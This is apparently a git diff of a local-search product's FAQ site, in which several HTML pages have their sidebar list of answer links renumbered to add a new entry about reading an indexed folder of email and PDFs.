class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/give-chatgpt-claude-local-file-access.html b/landing/answers/give-chatgpt-claude-local-file-access.htmlindex 925a038c6..f633fef65 100644--- a/landing/answers/give-chatgpt-claude-local-file-access.html+++ b/landing/answers/give-chatgpt-claude-local-file-access.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/how-xerj-autoindexes-a-folder.html b/landing/answers/how-xerj-autoindexes-a-folder.htmlindex 9b83dfdc1..9f50bfd4a 100644--- a/landing/answers/how-xerj-autoindexes-a-folder.html+++ b/landing/answers/how-xerj-autoindexes-a-folder.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class="active"><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class="active"><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/how-xerj-combines-search.html b/landing/answers/how-xerj-combines-search.htmlindex 027f34948..666cab381 100644--- a/landing/answers/how-xerj-combines-search.html+++ b/landing/answers/how-xerj-combines-search.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class="active"><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span 